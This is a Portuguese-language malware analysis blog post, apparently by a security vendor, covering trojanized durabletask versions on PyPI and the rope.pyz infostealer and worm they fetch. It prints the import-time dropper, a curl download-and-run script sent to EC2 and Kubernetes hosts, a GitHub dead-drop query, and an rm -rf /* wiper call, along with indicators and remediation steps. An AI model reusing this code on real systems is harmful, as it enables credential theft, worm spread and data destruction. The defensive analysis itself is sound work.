Aikido

Pacote durabletask da Microsoft no PyPi Comprometido. Mini Shai Hulud ataca novamente... novamente!

Escrito por
Raphael Silva

Identificamos três versões maliciosas de durabletask no PyPI, 1.4.1, 1.4.2, e 1.4.3, que contêm um dropper injetado diretamente nos arquivos-fonte Python do pacote. Quando um desenvolvedor instala qualquer uma dessas versões e importa a biblioteca, o dropper silenciosamente busca e executa um payload de segunda fase de um domínio C2 de três dias.

Essa segunda fase é um infostealer e worm completo. Ele coleta credenciais de todos os principais provedores Cloud, gerenciadores de senhas e ferramentas de desenvolvedor que consegue encontrar, criptografa os resultados com uma chave RSA controlada pelo atacante e os envia para o C2. Se a máquina estiver rodando dentro da AWS, ele se propaga para outras instâncias EC2 usando SSM. Se estiver dentro do Kubernetes, ele se propaga através de kubectl exec. E se detectar configurações de sistema israelenses ou iranianas, há uma chance em 6 de que ele reproduza áudio e então execute rm -rf /*.

Isso realmente cheira a mais artimanhas do TeamPCP, mas não podemos ter certeza por enquanto.

O que aconteceu

durabletask é um pacote Python para o Durable Task Framework, uma biblioteca de orquestração de workflow associada ao Microsoft Azure. É o tipo de pacote que você esperaria encontrar em ambientes Python Cloud-native executando automação, CI/CD ou cargas de trabalho conectadas ao Azure, que é exatamente o tipo de ambiente que esta campanha foi projetada para atingir.

A partir da versão 1.4.1, __init__.py foi comprometido com um backdoor contendo um dropper que é ativado no momento da importação:

import os
import platform
import subprocess
import urllib.request


if platform.system() == "Linux":
    try:
        urllib.request.urlretrieve(
            "https://check.git-service[.]com/rope.pyz",
            "/tmp/managed.pyz"
        )

        with open(os.devnull, "w") as f:
            subprocess.Popen(
                ["python3", "/tmp/managed.pyz"],
                stdout=f,
                stderr=f,
                stdin=f,
                start_new_session=True
            )

    except Exception:
        pass

O dropper é apenas para Linux, completamente silencioso e executa em um processo desanexado que sobrevive à morte do processo pai. A ampla except: pass engole quaisquer erros. Um desenvolvedor executando import durabletask pela primeira vez não veria absolutamente nada.

As versões contam uma história

Todas as três versões carregam o mesmo código do dropper, mas cada lançamento o injetou em mais arquivos. Esta é uma estratégia deliberada para maximizar a chance de que pelo menos um caminho de importação acione o payload.

Versão Arquivos Infectados
1.4.1 durabletask/__init__.py
1.4.2 + durabletask/task.py
1.4.3 + durabletask/entities/__init__.py

+ durabletask/extensions/__init__.py

+ durabletask/payload/__init__.py

Pela versão 1.4.3, o dropper é acionado a partir de cinco pontos de entrada separados. Um desenvolvedor que apenas toca from durabletask.entities import ... ainda está comprometido. O domínio C2, a URL do payload e a lógica do dropper são idênticos byte a byte em todas as três versões, a única mudança é a cobertura.

O payload: rope.pyz

O dropper busca rope.pyz de hxxps://check.git-service[.]com/rope.pyz. O domínio foi registrado em 16 de maio de 2026, três dias antes desta análise. Ele resolve via NameSilo com registro protegido por privacidade.

rope.pyz é um zipapp Python: um arquivo ZIP com um __main__.py ponto de entrada que o Python pode executar diretamente. Ele contém 19 arquivos em um layout de módulo estruturado.

SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Antes de fazer qualquer coisa, __main__.py executa quatro verificações:

  1. Plataforma — sai se não for Linux.
  2. Localidade — sai se $LANG começa com ru. O payload não será executado em sistemas com localidade russa.
  3. Número de CPUs — sai se os.cpu_count() <= 2. Isso inviabiliza a maioria das sandboxes automatizadas.
  4. Dependências — instala silenciosamente cryptography via pip se não estiver presente, com um --break-system-packages fallback.

Somente após passar por todas as quatro verificações, ele é entregue ao módulo principal de orquestração.

O dead-drop FIRESCALE

O payload primeiro faz um check-in com hxxps://check.git-service[.]com/v1/models. Se esse endpoint retornar HTTP 200, o corpo da resposta é tratado como um script Python codificado em base64 e entregue a roulette.py para execução — este é o canal de ativação remota do atacante.

Se o C2 primário estiver inacessível, o payload recorre a um dead-drop baseado no GitHub:

req = urllib.request.Request(
    "https://api.github.com/search/commits"
    "?q=FIRESCALE"
    "&sort=committer-date"
    "&order=desc"
    "&per_page=30",
    headers={
        "Accept": "application/vnd.github.cloak-preview+json",
        "User-Agent": "git/2.39.0",
    },
)

Ele pesquisa a API de busca de commits do GitHub pela string FIRESCALE. Cada commit correspondente é inspecionado para o padrão:

FIRESCALE <base64_url>.<base64_signatue>

A URL codificada em base64 é aceita apenas se sua assinatura RSA-SHA256 for verificada contra uma chave pública de 4096 bits hardcoded. Isso significa que apenas o atacante — o detentor da chave privada correspondente — pode publicar um novo endereço C2 válido. A API de busca do GitHub se torna um canal de fallback resistente à censura e criptograficamente autenticado. Se o domínio C2 primário for apreendido ou sinkholed, o atacante pode retomar as operações fazendo um único commit público em qualquer lugar no GitHub.

O que ele rouba

A coleta é executada concorrentemente em oito módulos através de ThreadPoolExecutor.

Gerenciadores de senhas. O payload tem como alvo 1Password, Bitwarden, pass, e gopass. Para cada cofre bloqueado, ele tenta desbloqueá-lo escaneando variáveis de ambiente em busca de padrões como *PASS*, *SECRET*, e BW_*, analisando arquivos de histórico de shell em busca de bw unlock e op signin invocações, e então tentando a string literal "anon" como último recurso. Se conseguir acesso, ele despeja tudo.

Arquivos de credenciais. Mais de 90 caminhos de arquivo codificados são lidos. A lista é abrangente: credenciais AWS, credenciais padrão de aplicação GCP, tokens de acesso Azure, ~/.kube/config, ~/.vault-token, ~/.ssh/ (todos os arquivos), ~/.docker/config.json, ~/.pypirc, ~/.npmrc, .env arquivos em todo o diretório home, arquivos de estado do Terraform (que frequentemente contêm Secrets em texto simples), e configurações de VPN, incluindo estado do Tailscale e WireGuard .conf arquivos.

A lista também visa especificamente ferramentas de desenvolvimento de IA: ~/.config/claude/claude_desktop_config.json, ~/.cursor/mcp.json, ~/.vscode/mcp.json, ~/.codeium/mcp.json, e configurações para Zed, Continue, Kilo e OpenCode.

Docker. O payload consulta o Socket Docker em /var/run/docker.sock diretamente, enumerando todos os Containers e extraindo suas variáveis de ambiente. Credenciais Cloud passadas como variáveis de ambiente de Container são um padrão comum em configurações CI/CD baseadas em Docker.

AWS. As credenciais são resolvidas a partir de variáveis de ambiente, em seguida, o serviço de metadados de instância EC2 (IMDS), e depois todos os perfis nomeados em ~/.aws/credentials. Para cada conjunto de credenciais, o payload enumera o AWS Secrets Manager e o SSM Parameter Store em todas as 19 regiões AWS, incluindo GovCloud, simultaneamente. Ele recupera cada valor de Secret, com WithDecryption: True para SSM. Ele também enumera todas as instâncias EC2 gerenciadas por SSM para a etapa de propagação descrita abaixo.

Azure. O payload resolve tokens via credenciais de cliente, asserção JWT baseada em certificado, o cache de token da Azure CLI em ~/.azure/accessTokens.json, ou Azure IMDS (identidade gerenciada). Com um token válido, ele lista todas as assinaturas, todos os Key Vaults em cada assinatura, e recupera cada Secret de cada vault.

GCP. As credenciais são resolvidas a partir de $GOOGLE_APPLICATION_CREDENTIALS, o arquivo de credenciais padrão do aplicativo, ou GCP IMDS. O payload gera seus próprios JWTs OAuth2 e recupera cada Secret do GCP Secret Manager.

Kubernetes. O acesso é resolvido a partir de ~/.kube/config em todos os contextos, a partir de tokens de conta de serviço no cluster, ou via kubectl. Se kubectl não estiver instalado, o payload o baixa do CDN oficial de lançamento do Kubernetes para /tmp/kubectl. Cada segredo em cada namespace em todos os contextos é recuperado e decodificado em base64.

HashiCorp Vault. O payload resolve o token do Vault de $VAULT_TOKEN, ~/.vault-token, credenciais AppRole, ou vault print token. Em seguida, ele percorre recursivamente todos os mounts KV v1 e v2, recuperando cada caminho de segredo. A verificação SSL é desabilitada para lidar com implantações internas do Vault com certificados autoassinados.

Todos os dados coletados são compactados com gzip e criptografados com AES-256-GCM. A chave AES por sessão é encapsulada com RSA-OAEP-SHA256 usando a chave pública do operador codificada. Apenas o atacante pode descriptografá-la.

A exfiltração segue um fallback de três níveis:

  1. POST para hxxps://check.git-service[.]com/api/public/version
  2. POST para uma URL de mothership resolvida via o dead-drop FIRESCALE
  3. Se algum token GitHub roubado for encontrado nos dados coletados, crie um repositório GitHub com nome aleatório público e faça o upload do pacote criptografado como results.json

Os nomes dos repositórios GitHub de fallback são extraídos de uma lista de palavras do folclore russo: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, e outros. A nomenclatura não é ruído aleatório — é uma impressão digital estável do operador.

Propagação de worm

Após coletar Secrets, o payload se espalha.

AWS SSM. Com as instâncias EC2 enumeradas durante a coleta de credenciais, o payload envia um ssm:SendCommand (usando o AWS-RunShellScript documento) para até cinco instâncias online e não-Windows:

MARKER="$HOME/.cache/.sys-update-check"

[ -f "$MARKER" ] && exit 0

cd /tmp || exit 0

PAYLOAD_FILE="rope-${RANDOM}.pyz"

curl -sSL "https://check.git-service[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || curl -sSL "https://t.m-kosche[.]com/rope.pyz" -o "$PAYLOAD_FILE" \
    || exit 0

nohup python3 "$PAYLOAD_FILE" > /dev/null 2>&1 &

Um arquivo marcador em ~/.cache/.sys-update-check previne a reinfecção do mesmo host. A URL do payload secundário hxxps://t.m-kosche[.]com/rope.pyz serve como fallback caso o C2 primário esteja inativo.

Kubernetes. Se executado dentro de um cluster K8s, o payload kubectl execenvia o mesmo script de download e execução para até cinco pods em execução, ignorando o atual. Um marcador separado em ~/.cache/.sys-update-check-k8s rastreia a propagação do K8s independentemente.

O limpador de disco

Quando o C2 primário retorna HTTP 200 de /v1/models, a resposta aciona roulette.py. Esse módulo possui duas capacidades: instalar persistência e limpar discos.

Persistência. A resposta C2 decodificada em base64 é gravada em /usr/bin/pgmonitor.py (como root) ou ~/.local/bin/pgmonitor.py (não-root) e registrada como um serviço systemd chamado pgsql-monitor.service, descrito como um "Monitor PostgreSQL." O serviço reinicia automaticamente em caso de falha.

Wiper. O módulo verifica as configurações do sistema israelenses ou iranianas inspecionando $TZ por strings como Jerusalem, Tel_Aviv, e Tehran; lendo /etc/timezone e /etc/localtime conteúdo binário; e verificando $LANG, $LC_ALL, e $LC_MESSAGES por he_IL ou fa_IR. Em uma chance de um em seis, ele executa:

play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")
subprocess.run(["rm", "-rf", "/*"])

Ele baixa um arquivo de áudio de hxxps://check.git-service[.]com/audio.mp3, define o volume do sistema para 100% via pactl, e o reproduz via mpv, então limpa o disco. O áudio precede a limpeza intencionalmente. Este não é um processo em segundo plano automatizado; o atacante o ativa deliberadamente por vítima, retornando 200 OK do check-in do C2.

Detecção e mitigação

Se você instalou durabletask 1.4.1, 1.4.2, ou 1.4.3, trate o host como comprometido. O payload foi executado no momento em que o pacote foi importado.

Verifique primeiro o arquivo marcador:

~/.cache/.sys-update-check

Sua presença confirma que a lógica do worm foi executada naquele host. Verifique ~/.cache/.sys-update-check-k8s separadamente a propagação no Kubernetes.

Procure pelo serviço de persistência:

/etc/systemd/system/pgsql-monitor.service
~/.config/systemd/user/pgsql-monitor.service
/usr/bin/pgmonitor.py
~/.local/bin/pgmonitor.py

Bloqueie e rotacione:

  • Todas as credenciais Cloud presentes no host afetado (AWS, Azure, GCP)
  • Todas as chaves SSH em ~/.ssh/
  • Todos os tokens de conta de serviço Kubernetes
  • Quaisquer tokens do HashiCorp Vault
  • Tokens e PATs do GitHub — e verificação de novos repositórios públicos com nomes de folclore russo criados a partir desses tokens
  • npm, pip, e tokens de registro de pacotes
  • Qualquer coisa em ~/.docker/config.json
  • Todos os Secrets de variáveis de ambiente que foram definidos na máquina
  • Conteúdo de qualquer .env arquivos no diretório home
  • Quaisquer arquivos de estado Terraform no host

Se o host estivesse sendo executado dentro da AWS com instâncias gerenciadas por SSM na mesma conta, verifique o AWS CloudTrail para SendCommand atividade da instância comprometida e investigue quaisquer instâncias que ela contatou. Faça o mesmo para Kubernetes: verifique os logs de auditoria para exec comandos originados do pod infectado.

Bloquear na camada de rede:

  • check.git-service[.]com
  • t.m-kosche[.]com

Indicadores de Comprometimento

Pacotes maliciosos:

  • durabletask==1.4.1
  • durabletask==1.4.2
  • durabletask==1.4.3

Hashes:

  • durabletask-1.4.1.tar.gz SHA-256: 3de04fe2a76262743ed089efa7115f4508619838e77d60b9a1aab8b20d2cc8bf
  • durabletask-1.4.2.tar.gz SHA-256: 85f54c089d78ebfb101454ec934c767065a342a43c9ee1beac8430cdd3b2086f
  • durabletask-1.4.3.tar.gz SHA-256: c0b094e46842260936d4b97ce63e4539b99a3eae48b736798c700217c52569dc
  • rope.pyz SHA-256: 069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce

Domínios e URLs:

  • hxxps://check.git-service[.]com/rope.pyz
  • hxxps://check.git-service[.]com/v1/models
  • hxxps://check.git-service[.]com/api/public/version
  • hxxps://check.git-service[.]com/audio.mp3
  • hxxps://t.m-kosche[.]com/rope.pyz

Registro de domínio:

  • git-service.com — registrado em 2026-05-16 (3 dias antes da análise), NameSilo, com proteção de privacidade

Arquivos criados na vítima:

  • /tmp/managed.pyz — entrega inicial do payload
  • ~/.cache/.sys-update-check — marcador de propagação (artefato de detecção de chave)
  • ~/.cache/.sys-update-check-k8s — marcador de propagação do Kubernetes
  • /usr/bin/pgmonitor.py ou ~/.local/bin/pgmonitor.py — payload de persistência
  • /etc/systemd/system/pgsql-monitor.service ou ~/.config/systemd/user/pgsql-monitor.service — serviço de persistência
  • /tmp/kubectl — binário kubectl baixado se não estiver presente no host

Strings da campanha:

  • FIRESCALE — string de beacon dead-drop na busca de commits do GitHub
  • pgsql-monitor.service — nome do serviço de persistência
  • PostgreSQL Monitor — descrição do serviço de persistência usada como disfarce
  • Nomes de repositórios do folclore russo: BABA-YAGA, KOSCHEI, FIREBIRD, PTITSA, RUSALKA, MOROZKO, LESHY, DOMOVOI, VODYANOY, e outros

Como o Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico. O Aikido faz varreduras noturnas, mas recomendamos acionar uma nova varredura manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. A cobertura de malware está incluída no plano gratuito.

Para proteção futura, o Aikido Safe Chain (código aberto) intercepta comandos de instalação de pacotes e verifica contra o Aikido Intel antes que qualquer coisa seja executada.

Compartilhar:

https://www.aikido.dev/blog/durabletask-package-compromised-mini-shai-hulud

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.